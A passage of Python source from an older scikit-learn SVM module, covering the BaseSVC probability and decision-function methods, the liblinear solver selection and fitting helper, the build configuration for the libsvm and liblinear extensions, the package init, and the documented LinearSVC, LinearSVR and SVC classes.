                 shrinking, probability, cache_size, class_weight, verbose,
                 max_iter, decision_function_shape, random_state):
        self.decision_function_shape = decision_function_shape
        super(BaseSVC, self).__init__(
            impl=impl, kernel=kernel, degree=degree, gamma=gamma, coef0=coef0,
            tol=tol, C=C, nu=nu, epsilon=0., shrinking=shrinking,
            probability=probability, cache_size=cache_size,
            class_weight=class_weight, verbose=verbose, max_iter=max_iter,
            random_state=random_state)

    def _validate_targets(self, y):
        y_ = column_or_1d(y, warn=True)
        check_classification_targets(y)
        cls, y = np.unique(y_, return_inverse=True)
        self.class_weight_ = compute_class_weight(self.class_weight, cls, y_)
        if len(cls) < 2:
            raise ValueError(
                "The number of classes has to be greater than one; got %d"
                % len(cls))

        self.classes_ = cls

        return np.asarray(y, dtype=np.float64, order='C')

    def decision_function(self, X):
        """Distance of the samples X to the separating hyperplane.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        X : array-like, shape (n_samples, n_classes * (n_classes-1) / 2)
            Returns the decision function of the sample for each class
            in the model.
            If decision_function_shape='ovr', the shape is (n_samples,
            n_classes)
        """
        dec = self._decision_function(X)
        if self.decision_function_shape is None and len(self.classes_) > 2:
            warnings.warn("The decision_function_shape default value will "
                          "change from 'ovo' to 'ovr' in 0.19. This will change "
                          "the shape of the decision function returned by "
                          "SVC.", ChangedBehaviorWarning)
        if self.decision_function_shape == 'ovr' and len(self.classes_) > 2:
            return _ovr_decision_function(dec < 0, dec, len(self.classes_))
        return dec

    def predict(self, X):
        """Perform classification on samples in X.

        For an one-class model, +1 or -1 is returned.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            For kernel="precomputed", the expected shape of X is
            [n_samples_test, n_samples_train]

        Returns
        -------
        y_pred : array, shape (n_samples,)
            Class labels for samples in X.
        """
        y = super(BaseSVC, self).predict(X)
        return self.classes_.take(np.asarray(y, dtype=np.intp))

    # Hacky way of getting predict_proba to raise an AttributeError when
    # probability=False using properties. Do not use this in new code; when
    # probabilities are not available depending on a setting, introduce two
    # estimators.
    def _check_proba(self):
        if not self.probability:
            raise AttributeError("predict_proba is not available when "
                                 " probability=False")
        if self._impl not in ('c_svc', 'nu_svc'):
            raise AttributeError("predict_proba only implemented for SVC"
                                 " and NuSVC")

    @property
    def predict_proba(self):
        """Compute probabilities of possible outcomes for samples in X.

        The model need to have probability information computed at training
        time: fit with attribute `probability` set to True.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            For kernel="precomputed", the expected shape of X is
            [n_samples_test, n_samples_train]

        Returns
        -------
        T : array-like, shape (n_samples, n_classes)
            Returns the probability of the sample for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute `classes_`.

        Notes
        -----
        The probability model is created using cross validation, so
        the results can be slightly different than those obtained by
        predict. Also, it will produce meaningless results on very small
        datasets.
        """
        self._check_proba()
        return self._predict_proba

    def _predict_proba(self, X):
        X = self._validate_for_predict(X)
        if self.probA_.size == 0 or self.probB_.size == 0:
            raise NotFittedError("predict_proba is not available when fitted "
                                 "with probability=False")
        pred_proba = (self._sparse_predict_proba
                      if self._sparse else self._dense_predict_proba)
        return pred_proba(X)

    @property
    def predict_log_proba(self):
        """Compute log probabilities of possible outcomes for samples in X.

        The model need to have probability information computed at training
        time: fit with attribute `probability` set to True.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            For kernel="precomputed", the expected shape of X is
            [n_samples_test, n_samples_train]

        Returns
        -------
        T : array-like, shape (n_samples, n_classes)
            Returns the log-probabilities of the sample for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute `classes_`.

        Notes
        -----
        The probability model is created using cross validation, so
        the results can be slightly different than those obtained by
        predict. Also, it will produce meaningless results on very small
        datasets.
        """
        self._check_proba()
        return self._predict_log_proba

    def _predict_log_proba(self, X):
        return np.log(self.predict_proba(X))

    def _dense_predict_proba(self, X):
        X = self._compute_kernel(X)

        kernel = self.kernel
        if callable(kernel):
            kernel = 'precomputed'

        svm_type = LIBSVM_IMPL.index(self._impl)
        pprob = libsvm.predict_proba(
            X, self.support_, self.support_vectors_, self.n_support_,
            self._dual_coef_, self._intercept_,
            self.probA_, self.probB_,
            svm_type=svm_type, kernel=kernel, degree=self.degree,
            cache_size=self.cache_size, coef0=self.coef0, gamma=self._gamma)

        return pprob

    def _sparse_predict_proba(self, X):
        X.data = np.asarray(X.data, dtype=np.float64, order='C')

        kernel = self.kernel
        if callable(kernel):
            kernel = 'precomputed'

        kernel_type = self._sparse_kernels.index(kernel)

        return libsvm_sparse.libsvm_sparse_predict_proba(
            X.data, X.indices, X.indptr,
            self.support_vectors_.data,
            self.support_vectors_.indices,
            self.support_vectors_.indptr,
            self._dual_coef_.data, self._intercept_,
            LIBSVM_IMPL.index(self._impl), kernel_type,
            self.degree, self._gamma, self.coef0, self.tol,
            self.C, self.class_weight_,
            self.nu, self.epsilon, self.shrinking,
            self.probability, self.n_support_,
            self.probA_, self.probB_)

    def _get_coef(self):
        if self.dual_coef_.shape[0] == 1:
            # binary classifier
            coef = safe_sparse_dot(self.dual_coef_, self.support_vectors_)
        else:
            # 1vs1 classifier
            coef = _one_vs_one_coef(self.dual_coef_, self.n_support_,
                                    self.support_vectors_)
            if sp.issparse(coef[0]):
                coef = sp.vstack(coef).tocsr()
            else:
                coef = np.vstack(coef)

        return coef


def _get_liblinear_solver_type(multi_class, penalty, loss, dual):
    """Find the liblinear magic number for the solver.

    This number depends on the values of the following attributes:
      - multi_class
      - penalty
      - loss
      - dual

    The same number is also internally used by LibLinear to determine
    which solver to use.
    """
    # nested dicts containing level 1: available loss functions,
    # level2: available penalties for the given loss function,
    # level3: wether the dual solver is available for the specified
    # combination of loss function and penalty
    _solver_type_dict = {
        'logistic_regression': {
            'l1': {False: 6},
            'l2': {False: 0, True: 7}},
        'hinge': {
            'l2': {True: 3}},
        'squared_hinge': {
            'l1': {False: 5},
            'l2': {False: 2, True: 1}},
        'epsilon_insensitive': {
            'l2': {True: 13}},
        'squared_epsilon_insensitive': {
            'l2': {False: 11, True: 12}},
        'crammer_singer': 4
    }

    if multi_class == 'crammer_singer':
        return _solver_type_dict[multi_class]
    elif multi_class != 'ovr':
        raise ValueError("`multi_class` must be one of `ovr`, "
                         "`crammer_singer`, got %r" % multi_class)

    _solver_pen = _solver_type_dict.get(loss, None)
    if _solver_pen is None:
        error_string = ("loss='%s' is not supported" % loss)
    else:
        _solver_dual = _solver_pen.get(penalty, None)
        if _solver_dual is None:
            error_string = ("The combination of penalty='%s' "
                            "and loss='%s' is not supported"
                            % (penalty, loss))
        else:
            solver_num = _solver_dual.get(dual, None)
            if solver_num is None:
                error_string = ("The combination of penalty='%s' and "
                                "loss='%s' are not supported when dual=%s"
                                % (penalty, loss, dual))
            else:
                return solver_num
    raise ValueError('Unsupported set of arguments: %s, '
                     'Parameters: penalty=%r, loss=%r, dual=%r'
                     % (error_string, penalty, loss, dual))


def _fit_liblinear(X, y, C, fit_intercept, intercept_scaling, class_weight,
                   penalty, dual, verbose, max_iter, tol,
                   random_state=None, multi_class='ovr',
                   loss='logistic_regression', epsilon=0.1,
                   sample_weight=None):
    """Used by Logistic Regression (and CV) and LinearSVC.

    Preprocessing is done in this function before supplying it to liblinear.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training vector, where n_samples in the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples,)
        Target vector relative to X

    C : float
        Inverse of cross-validation parameter. Lower the C, the more
        the penalization.

    fit_intercept : bool
        Whether or not to fit the intercept, that is to add a intercept
        term to the decision function.

    intercept_scaling : float
        LibLinear internally penalizes the intercept and this term is subject
        to regularization just like the other terms of the feature vector.
        In order to avoid this, one should increase the intercept_scaling.
        such that the feature vector becomes [x, intercept_scaling].

    class_weight : {dict, 'balanced'}, optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one. For
        multi-output problems, a list of dicts can be provided in the same
        order as the columns of y.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    penalty : str, {'l1', 'l2'}
        The norm of the penalty used in regularization.

    dual : bool
        Dual or primal formulation,

    verbose : int
        Set verbose to any positive number for verbosity.

    max_iter : int
        Number of iterations.

    tol : float
        Stopping condition.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    multi_class : str, {'ovr', 'crammer_singer'}
        `ovr` trains n_classes one-vs-rest classifiers, while `crammer_singer`
        optimizes a joint objective over all classes.
        While `crammer_singer` is interesting from an theoretical perspective
        as it is consistent it is seldom used in practice and rarely leads to
        better accuracy and is more expensive to compute.
        If `crammer_singer` is chosen, the options loss, penalty and dual will
        be ignored.

    loss : str, {'logistic_regression', 'hinge', 'squared_hinge',
                 'epsilon_insensitive', 'squared_epsilon_insensitive}
        The loss function used to fit the model.

    epsilon : float, optional (default=0.1)
        Epsilon parameter in the epsilon-insensitive loss function. Note
        that the value of this parameter depends on the scale of the target
        variable y. If unsure, set epsilon=0.

    sample_weight: array-like, optional
        Weights assigned to each sample.

    Returns
    -------
    coef_ : ndarray, shape (n_features, n_features + 1)
        The coefficient vector got by minimizing the objective function.

    intercept_ : float
        The intercept term added to the vector.

    n_iter_ : int
        Maximum number of iterations run across all classes.
    """
    if loss not in ['epsilon_insensitive', 'squared_epsilon_insensitive']:
        enc = LabelEncoder()
        y_ind = enc.fit_transform(y)
        classes_ = enc.classes_
        if len(classes_) < 2:
            raise ValueError("This solver needs samples of at least 2 classes"
                             " in the data, but the data contains only one"
                             " class: %r" % classes_[0])

        class_weight_ = compute_class_weight(class_weight, classes_, y)
    else:
        class_weight_ = np.empty(0, dtype=np.float64)
        y_ind = y
    liblinear.set_verbosity_wrap(verbose)
    rnd = check_random_state(random_state)
    if verbose:
        print('[LibLinear]', end='')

    # LinearSVC breaks when intercept_scaling is <= 0
    bias = -1.0
    if fit_intercept:
        if intercept_scaling <= 0:
            raise ValueError("Intercept scaling is %r but needs to be greater than 0."
                             " To disable fitting an intercept,"
                             " set fit_intercept=False." % intercept_scaling)
        else:
            bias = intercept_scaling

    libsvm.set_verbosity_wrap(verbose)
    libsvm_sparse.set_verbosity_wrap(verbose)
    liblinear.set_verbosity_wrap(verbose)

    # LibLinear wants targets as doubles, even for classification
    y_ind = np.asarray(y_ind, dtype=np.float64).ravel()
    if sample_weight is None:
        sample_weight = np.ones(X.shape[0])
    else:
        sample_weight = np.array(sample_weight, dtype=np.float64, order='C')
        check_consistent_length(sample_weight, X)

    solver_type = _get_liblinear_solver_type(multi_class, penalty, loss, dual)
    raw_coef_, n_iter_ = liblinear.train_wrap(
        X, y_ind, sp.isspmatrix(X), solver_type, tol, bias, C,
        class_weight_, max_iter, rnd.randint(np.iinfo('i').max),
        epsilon, sample_weight)
    # Regarding rnd.randint(..) in the above signature:
    # seed for srand in range [0..INT_MAX); due to limitations in Numpy
    # on 32-bit platforms, we can't get to the UINT_MAX limit that
    # srand supports
    n_iter_ = max(n_iter_)
    if n_iter_ >= max_iter and verbose > 0:
        warnings.warn("Liblinear failed to converge, increase "
                      "the number of iterations.", ConvergenceWarning)

    if fit_intercept:
        coef_ = raw_coef_[:, :-1]
        intercept_ = intercept_scaling * raw_coef_[:, -1]
    else:
        coef_ = raw_coef_
        intercept_ = 0.

    return coef_, intercept_, n_iter_






import os
from os.path import join
import numpy

from sklearn._build_utils import get_blas_info


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration

    config = Configuration('svm', parent_package, top_path)

    config.add_subpackage('tests')

    # Section LibSVM

    # we compile both libsvm and libsvm_sparse
    config.add_library('libsvm-skl',
                       sources=[join('src', 'libsvm', 'libsvm_template.cpp')],
                       depends=[join('src', 'libsvm', 'svm.cpp'),
                                join('src', 'libsvm', 'svm.h')],
                       # Force C++ linking in case gcc is picked up instead
                       # of g++ under windows with some versions of MinGW
                       extra_link_args=['-lstdc++'],
                       )

    libsvm_sources = ['libsvm.c']
    libsvm_depends = [join('src', 'libsvm', 'libsvm_helper.c'),
                      join('src', 'libsvm', 'libsvm_template.cpp'),
                      join('src', 'libsvm', 'svm.cpp'),
                      join('src', 'libsvm', 'svm.h')]

    config.add_extension('libsvm',
                         sources=libsvm_sources,
                         include_dirs=[numpy.get_include(),
                                       join('src', 'libsvm')],
                         libraries=['libsvm-skl'],
                         depends=libsvm_depends,
                         )

    ### liblinear module
    cblas_libs, blas_info = get_blas_info()
    if os.name == 'posix':
        cblas_libs.append('m')

    liblinear_sources = ['liblinear.c',
                         join('src', 'liblinear', '*.cpp')]

    liblinear_depends = [join('src', 'liblinear', '*.h'),
                         join('src', 'liblinear', 'liblinear_helper.c')]

    config.add_extension('liblinear',
                         sources=liblinear_sources,
                         libraries=cblas_libs,
                         include_dirs=[join('..', 'src', 'cblas'),
                                       numpy.get_include(),
                                       blas_info.pop('include_dirs', [])],
                         extra_compile_args=blas_info.pop('extra_compile_args',
                                                          []),
                         depends=liblinear_depends,
                         # extra_compile_args=['-O0 -fno-inline'],
                         ** blas_info)

    ## end liblinear module

    # this should go *after* libsvm-skl
    libsvm_sparse_sources = ['libsvm_sparse.c']
    config.add_extension('libsvm_sparse', libraries=['libsvm-skl'],
                         sources=libsvm_sparse_sources,
                         include_dirs=[numpy.get_include(),
                                       join("src", "libsvm")],
                         depends=[join("src", "libsvm", "svm.h"),
                                  join("src", "libsvm",
                                       "libsvm_sparse_helper.c")])

    return config


if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""
The :mod:`sklearn.svm` module includes Support Vector Machine algorithms.
"""

# See http://scikit-learn.sourceforge.net/modules/svm.html for complete
# documentation.

# Author: Fabian Pedregosa <fabian.pedregosa@inria.fr> with help from
#         the scikit-learn community. LibSVM and LibLinear are copyright
#         of their respective owners.
# License: BSD 3 clause (C) INRIA 2010

from .classes import SVC, NuSVC, SVR, NuSVR, OneClassSVM, LinearSVC, \
        LinearSVR
from .bounds import l1_min_c
from . import libsvm, liblinear, libsvm_sparse

__all__ = ['LinearSVC',
           'LinearSVR',
           'NuSVC',
           'NuSVR',
           'OneClassSVM',
           'SVC',
           'SVR',
           'l1_min_c',
           'liblinear',
           'libsvm',
           'libsvm_sparse']






import warnings
import numpy as np

from .base import _fit_liblinear, BaseSVC, BaseLibSVM
from ..base import BaseEstimator, RegressorMixin
from ..linear_model.base import LinearClassifierMixin, SparseCoefMixin, \
    LinearModel
from ..feature_selection.from_model import _LearntSelectorMixin
from ..utils import check_X_y
from ..utils.validation import _num_samples
from ..utils.multiclass import check_classification_targets


class LinearSVC(BaseEstimator, LinearClassifierMixin,
                _LearntSelectorMixin, SparseCoefMixin):
    """Linear Support Vector Classification.

    Similar to SVC with parameter kernel='linear', but implemented in terms of
    liblinear rather than libsvm, so it has more flexibility in the choice of
    penalties and loss functions and should scale better to large numbers of
    samples.

    This class supports both dense and sparse input and the multiclass support
    is handled according to a one-vs-the-rest scheme.

    Read more in the :ref:`User Guide <svm_classification>`.

    Parameters
    ----------
    C : float, optional (default=1.0)
        Penalty parameter C of the error term.

    loss : string, 'hinge' or 'squared_hinge' (default='squared_hinge')
        Specifies the loss function. 'hinge' is the standard SVM loss
        (used e.g. by the SVC class) while 'squared_hinge' is the
        square of the hinge loss.

    penalty : string, 'l1' or 'l2' (default='l2')
        Specifies the norm used in the penalization. The 'l2'
        penalty is the standard used in SVC. The 'l1' leads to ``coef_``
        vectors that are sparse.

    dual : bool, (default=True)
        Select the algorithm to either solve the dual or primal
        optimization problem. Prefer dual=False when n_samples > n_features.

    tol : float, optional (default=1e-4)
        Tolerance for stopping criteria.

    multi_class: string, 'ovr' or 'crammer_singer' (default='ovr')
        Determines the multi-class strategy if `y` contains more than
        two classes.
        ``"ovr"`` trains n_classes one-vs-rest classifiers, while ``"crammer_singer"``
        optimizes a joint objective over all classes.
        While `crammer_singer` is interesting from a theoretical perspective
        as it is consistent, it is seldom used in practice as it rarely leads
        to better accuracy and is more expensive to compute.
        If ``"crammer_singer"`` is chosen, the options loss, penalty and dual will
        be ignored.

    fit_intercept : boolean, optional (default=True)
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (i.e. data is expected to be already centered).

    intercept_scaling : float, optional (default=1)
        When self.fit_intercept is True, instance vector x becomes
        ``[x, self.intercept_scaling]``,
        i.e. a "synthetic" feature with constant value equals to
        intercept_scaling is appended to the instance vector.
        The intercept becomes intercept_scaling * synthetic feature weight
        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    class_weight : {dict, 'balanced'}, optional
        Set the parameter C of class i to ``class_weight[i]*C`` for
        SVC. If not given, all classes are supposed to have
        weight one.
        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    verbose : int, (default=0)
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in liblinear that, if enabled, may not work
        properly in a multithreaded context.

    random_state : int seed, RandomState instance, or None (default=None)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    max_iter : int, (default=1000)
        The maximum number of iterations to be run.

    Attributes
    ----------
    coef_ : array, shape = [n_features] if n_classes == 2 else [n_classes, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        ``coef_`` is a readonly property derived from ``raw_coef_`` that
        follows the internal memory layout of liblinear.

    intercept_ : array, shape = [1] if n_classes == 2 else [n_classes]
        Constants in decision function.

    Notes
    -----
    The underlying C implementation uses a random number generator to
    select features when fitting the model. It is thus not uncommon
    to have slightly different results for the same input data. If
    that happens, try with a smaller ``tol`` parameter.

    The underlying implementation, liblinear, uses a sparse internal
    representation for the data that will incur a memory copy.

    Predict output may not match that of standalone liblinear in certain
    cases. See :ref:`differences from liblinear <liblinear_differences>`
    in the narrative documentation.

    References
    ----------
    `LIBLINEAR: A Library for Large Linear Classification
    <http://www.csie.ntu.edu.tw/~cjlin/liblinear/>`__

    See also
    --------
    SVC
        Implementation of Support Vector Machine classifier using libsvm:
        the kernel can be non-linear but its SMO algorithm does not
        scale to large number of samples as LinearSVC does.

        Furthermore SVC multi-class mode is implemented using one
        vs one scheme while LinearSVC uses one vs the rest. It is
        possible to implement one vs the rest with SVC by using the
        :class:`sklearn.multiclass.OneVsRestClassifier` wrapper.

        Finally SVC can fit dense data without memory copy if the input
        is C-contiguous. Sparse data will still incur memory copy though.

    sklearn.linear_model.SGDClassifier
        SGDClassifier can optimize the same cost function as LinearSVC
        by adjusting the penalty and loss parameters. In addition it requires
        less memory, allows incremental (online) learning, and implements
        various loss functions and regularization regimes.

    """

    def __init__(self, penalty='l2', loss='squared_hinge', dual=True, tol=1e-4,
                 C=1.0, multi_class='ovr', fit_intercept=True,
                 intercept_scaling=1, class_weight=None, verbose=0,
                 random_state=None, max_iter=1000):
        self.dual = dual
        self.tol = tol
        self.C = C
        self.multi_class = multi_class
        self.fit_intercept = fit_intercept
        self.intercept_scaling = intercept_scaling
        self.class_weight = class_weight
        self.verbose = verbose
        self.random_state = random_state
        self.max_iter = max_iter
        self.penalty = penalty
        self.loss = loss

    def fit(self, X, y, sample_weight=None):
        """Fit the model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target vector relative to X

        sample_weight : array-like, shape = [n_samples], optional
            Array of weights that are assigned to individual
            samples. If not provided,
            then each sample is given unit weight.

        Returns
        -------
        self : object
            Returns self.
        """
        # FIXME Remove l1/l2 support in 1.0 -----------------------------------
        msg = ("loss='%s' has been deprecated in favor of "
               "loss='%s' as of 0.16. Backward compatibility"
               " for the loss='%s' will be removed in %s")

        if self.loss in ('l1', 'l2'):
            old_loss = self.loss
            self.loss = {'l1': 'hinge', 'l2': 'squared_hinge'}.get(self.loss)
            warnings.warn(msg % (old_loss, self.loss, old_loss, '1.0'),
                          DeprecationWarning)
        # ---------------------------------------------------------------------

        if self.C < 0:
            raise ValueError("Penalty term must be positive; got (C=%r)"
                             % self.C)

        X, y = check_X_y(X, y, accept_sparse='csr',
                         dtype=np.float64, order="C")
        check_classification_targets(y)
        self.classes_ = np.unique(y)

        self.coef_, self.intercept_, self.n_iter_ = _fit_liblinear(
            X, y, self.C, self.fit_intercept, self.intercept_scaling,
            self.class_weight, self.penalty, self.dual, self.verbose,
            self.max_iter, self.tol, self.random_state, self.multi_class,
            self.loss, sample_weight=sample_weight)

        if self.multi_class == "crammer_singer" and len(self.classes_) == 2:
            self.coef_ = (self.coef_[1] - self.coef_[0]).reshape(1, -1)
            if self.fit_intercept:
                intercept = self.intercept_[1] - self.intercept_[0]
                self.intercept_ = np.array([intercept])

        return self


class LinearSVR(LinearModel, RegressorMixin):
    """Linear Support Vector Regression.

    Similar to SVR with parameter kernel='linear', but implemented in terms of
    liblinear rather than libsvm, so it has more flexibility in the choice of
    penalties and loss functions and should scale better to large numbers of
    samples.

    This class supports both dense and sparse input.

    Read more in the :ref:`User Guide <svm_regression>`.

    Parameters
    ----------
    C : float, optional (default=1.0)
        Penalty parameter C of the error term. The penalty is a squared
        l2 penalty. The bigger this parameter, the less regularization is used.

    loss : string, 'epsilon_insensitive' or 'squared_epsilon_insensitive' (default='epsilon_insensitive')
        Specifies the loss function. 'l1' is the epsilon-insensitive loss
        (standard SVR) while 'l2' is the squared epsilon-insensitive loss.

    epsilon : float, optional (default=0.1)
        Epsilon parameter in the epsilon-insensitive loss function. Note
        that the value of this parameter depends on the scale of the target
        variable y. If unsure, set ``epsilon=0``.

    dual : bool, (default=True)
        Select the algorithm to either solve the dual or primal
        optimization problem. Prefer dual=False when n_samples > n_features.

    tol : float, optional (default=1e-4)
        Tolerance for stopping criteria.

    fit_intercept : boolean, optional (default=True)
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (i.e. data is expected to be already centered).

    intercept_scaling : float, optional (default=1)
        When self.fit_intercept is True, instance vector x becomes
        [x, self.intercept_scaling],
        i.e. a "synthetic" feature with constant value equals to
        intercept_scaling is appended to the instance vector.
        The intercept becomes intercept_scaling * synthetic feature weight
        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    verbose : int, (default=0)
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in liblinear that, if enabled, may not work
        properly in a multithreaded context.

    random_state : int seed, RandomState instance, or None (default=None)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    max_iter : int, (default=1000)
        The maximum number of iterations to be run.

    Attributes
    ----------
    coef_ : array, shape = [n_features] if n_classes == 2 else [n_classes, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is a readonly property derived from `raw_coef_` that
        follows the internal memory layout of liblinear.

    intercept_ : array, shape = [1] if n_classes == 2 else [n_classes]
        Constants in decision function.


    See also
    --------
    LinearSVC
        Implementation of Support Vector Machine classifier using the
        same library as this class (liblinear).

    SVR
        Implementation of Support Vector Machine regression using libsvm:
        the kernel can be non-linear but its SMO algorithm does not
        scale to large number of samples as LinearSVC does.

    sklearn.linear_model.SGDRegressor
        SGDRegressor can optimize the same cost function as LinearSVR
        by adjusting the penalty and loss parameters. In addition it requires
        less memory, allows incremental (online) learning, and implements
        various loss functions and regularization regimes.
    """

    def __init__(self, epsilon=0.0, tol=1e-4, C=1.0,
                 loss='epsilon_insensitive', fit_intercept=True,
                 intercept_scaling=1., dual=True, verbose=0,
                 random_state=None, max_iter=1000):
        self.tol = tol
        self.C = C
        self.epsilon = epsilon
        self.fit_intercept = fit_intercept
        self.intercept_scaling = intercept_scaling
        self.verbose = verbose
        self.random_state = random_state
        self.max_iter = max_iter
        self.dual = dual
        self.loss = loss

    def fit(self, X, y, sample_weight=None):
        """Fit the model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target vector relative to X

        sample_weight : array-like, shape = [n_samples], optional
            Array of weights that are assigned to individual
            samples. If not provided,
            then each sample is given unit weight.

        Returns
        -------
        self : object
            Returns self.
        """
        # FIXME Remove l1/l2 support in 1.0 -----------------------------------
        msg = ("loss='%s' has been deprecated in favor of "
               "loss='%s' as of 0.16. Backward compatibility"
               " for the loss='%s' will be removed in %s")

        if self.loss in ('l1', 'l2'):
            old_loss = self.loss
            self.loss = {'l1': 'epsilon_insensitive',
                         'l2': 'squared_epsilon_insensitive'
                         }.get(self.loss)
            warnings.warn(msg % (old_loss, self.loss, old_loss, '1.0'),
                          DeprecationWarning)
        # ---------------------------------------------------------------------

        if self.C < 0:
            raise ValueError("Penalty term must be positive; got (C=%r)"
                             % self.C)

        X, y = check_X_y(X, y, accept_sparse='csr',
                         dtype=np.float64, order="C")
        penalty = 'l2'  # SVR only accepts l2 penalty
        self.coef_, self.intercept_, self.n_iter_ = _fit_liblinear(
            X, y, self.C, self.fit_intercept, self.intercept_scaling,
            None, penalty, self.dual, self.verbose,
            self.max_iter, self.tol, self.random_state, loss=self.loss,
            epsilon=self.epsilon, sample_weight=sample_weight)
        self.coef_ = self.coef_.ravel()

        return self


class SVC(BaseSVC):
    """C-Support Vector Classification.

    The implementation is based on libsvm. The fit time complexity
    is more than quadratic with the number of samples which makes it hard
    to scale to dataset with more than a couple of 10000 samples.

    The multiclass support is handled according to a one-vs-one scheme.

    For details on the precise mathematical formulation of the provided
    kernel functions and how `gamma`, `coef0` and `degree` affect each
    other, see the corresponding section in the narrative documentation:
    :ref:`svm_kernels`.

    Read more in the :ref:`User Guide <svm_classification>`.

    Parameters
    ----------
    C : float, optional (default=1.0)
        Penalty parameter C of the error term.

    kernel : string, optional (default='rbf')
         Specifies the kernel type to be used in the algorithm.
         It must be one of 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or
         a callable.
         If none is given, 'rbf' will be used. If a callable is given it is
         used to pre-compute the kernel matrix from data matrices; that matrix
         should be an array of shape ``(n_samples, n_samples)``.

    degree : int, optional (default=3)
        Degree of the polynomial kernel function ('poly').
        Ignored by all other kernels.

    gamma : float, optional (default='auto')
        Kernel coefficient for 'rbf', 'poly' and 'sigmoid'.
        If gamma is 'auto' then 1/n_features will be used instead.

    coef0 : float, optional (default=0.0)
        Independent term in kernel function.
        It is only significant in 'poly' and 'sigmoid'.

    probability : boolean, optional (default=False)
        Whether to enable probability estimates. This must be enabled prior
        to calling `fit`, and will slow down that method.

    shrinking : boolean, optional (default=True)
        Whether to use the shrinking heuristic.

    tol : float, optional (default=1e-3)
        Tolerance for stopping criterion.

    cache_size : float, optional
        Specify the size of the kernel cache (in MB).

    class_weight : {dict, 'balanced'}, optional
        Set the parameter C of class i to class_weight[i]*C for
        SVC. If not given, all classes are supposed to have
        weight one.
        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    verbose : bool, default: False
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in libsvm that, if enabled, may not work
        properly in a multithreaded context.

    max_iter : int, optional (default=-1)
        Hard limit on iterations within solver, or -1 for no limit.

    decision_function_shape : 'ovo', 'ovr' or None, default=None
        Whether to return a one-vs-rest ('ovr') decision function of shape
        (n_samples, n_classes) as all other classifiers, or the original
        one-vs-one ('ovo') decision function of libsvm which has shape
        (n_samples, n_classes * (n_classes - 1) / 2).
        The default of None will currently behave as 'ovo' for backward
        compatibility and raise a deprecation warning, but will change 'ovr'
        in 0.19.

        .. versionadded:: 0.17
           *decision_function_shape='ovr'* is recommended.

        .. versionchanged:: 0.17
           Deprecated *decision_function_shape='ovo' and None*.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data for probability estimation.

    Attributes
    ----------
    support_ : array-like, shape = [n_SV]
        Indices of support vectors.

    support_vectors_ : array-like, shape = [n_SV, n_features]
        Support vectors.

    n_support_ : array-like, dtype=int32, shape = [n_class]
        Number of support vectors for each class.

    dual_coef_ : array, shape = [n_class-1, n_SV]
        Coefficients of the support vector in the decision function.
        For multiclass, coefficient for all 1-vs-1 classifiers.
        The layout of the coefficients in the multiclass case is somewhat
        non-trivial. See the section about multi-class classification in the
        SVM section of the User Guide for details.

    coef_ : array, shape = [n_class-1, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is a readonly property derived from `dual_coef_` and
        `support_vectors_`.

    intercept_ : array, shape = [n_class * (n_class-1) / 2]
        Constants in decision function.

    Examples
    --------
    >>> import numpy as np
    >>> X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
    >>> y = np.array([1, 1, 2, 2])
    >>> from sklearn.svm import SVC
    >>> clf = SVC()
    >>> clf.fit(X, y) #doctest: +NORMALIZE_WHITESPACE
    SVC(C=1.0, cache_size=200, class_weight=None, coef0=0.0,
        decision_function_shape=None, degree=3, gamma='auto', kernel='rbf',
        max_iter=-1, probability=False, random_state=None, shrinking=True,
        tol=0.001, verbose=False)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]

    See also
    --------
    SVR
        Support Vector Machine for Regression implemented using libsvm.

    LinearSVC
        Scalable Linear Support Vector Machine for classification
        implemented using liblinear. Check the See also section of
        LinearSVC for more comparison element.

    """

    def __init__(self, C=1.0, kernel='rbf', degree=3, gamma='auto',
